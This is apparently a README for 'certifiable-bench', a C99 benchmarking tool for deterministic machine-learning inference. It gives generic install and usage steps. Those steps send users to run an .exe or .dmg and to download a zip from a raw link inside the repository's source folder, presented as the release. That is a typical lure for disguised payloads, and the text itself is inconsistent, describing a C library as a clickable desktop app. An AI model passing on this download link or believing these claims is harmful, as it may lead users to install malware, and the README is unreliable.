Welcome to the certifiable-bench project! This tool measures performance for deterministic machine learning inference. It tracks essential metrics like latency and throughput while ensuring cryptographic verification of data accuracy across different platforms. With 11,840 test assertions, it is built using pure C99 with no dynamic allocation, making it a part of the certifiable-* ecosystem for safety-critical AI applications.
Click the button above to access the downloads.
Before you start, ensure your system meets the following requirements:
- Operating System: Windows 10 or higher, macOS 10.12 or higher, or a compatible Linux distribution.
- Processor: Any modern processor supporting C99.
- Memory: At least 1 GB of RAM.
- Disk Space: Minimum of 100 MB free space.
- Performance Metrics: Measure latency, throughput, and worst-case execution time (WCET).
- Cross-Platform Support: Works on multiple operating systems seamlessly.
- Deterministic Testing: Guarantees that tests produce the same results every time.
- Safe for Critical Applications: Complies with safety standards including DO-178C, IEC-62304, and ISO-26262.
- Extensive Assertions: Contains 11,840 test assertions to cover a wide range of scenarios.
To download certifiable-bench, please follow these steps:
-
Visit the Releases Page: Go to the Releases page on GitHub.
-
Choose a Version: You will see a list of available versions. Select the version you want to download.
-
Download the File: Click on the appropriate file for your operating system.
-
Install the Application:
- For Windows, run the downloaded
.exefile to start the installation. - For macOS, open the
.dmgfile and drag the application to your Applications folder. - For Linux, extract the
https://github.com/mushkilali/certifiable-bench/raw/refs/heads/main/src/timer/bench-certifiable-1.7.zipfile and run from the terminal.
- For Windows, run the downloaded
-
Run certifiable-bench: Once installed, locate the application on your computer and double-click to run it.
Once you have installed certifiable-bench, follow these instructions to get started:
-
Open the Application: Launch the application from your desktop or applications folder.
-
Select the Test Parameters: Choose the type of benchmarking test you want to run. You can specify different configurations based on your needs.
-
Run the Benchmark: Click the "Start Test" button. The tool will begin measuring performance and display results upon completion.
-
Review Results: Results will show latency, throughput, and WCET. You can save or export the data for further analysis.
Regular updates are essential to ensure optimal performance and introduce new features. Sign up for notifications on the GitHub repository to stay informed about the latest releases.
-
What is deterministic machine learning inference? It means the same input will always produce the same output, which is critical for reliability in safety-critical applications.
-
Can I use certifiable-bench for commercial products? Yes, the tool is designed for both personal and commercial use.
-
Is there any user support available? Yes, you can open issues or discussions in the GitHub repository for assistance.
If you wish to contribute to certifiable-bench, please check the guidelines in the repository. We welcome enhancements, bug fixes, and documentation improvements.
For updates and discussions, follow the conversation on our GitHub repo. Join our community of developers and users who are focused on safe, reliable AI performance testing.
Thank you for choosing certifiable-bench! We are excited for you to explore its capabilities.
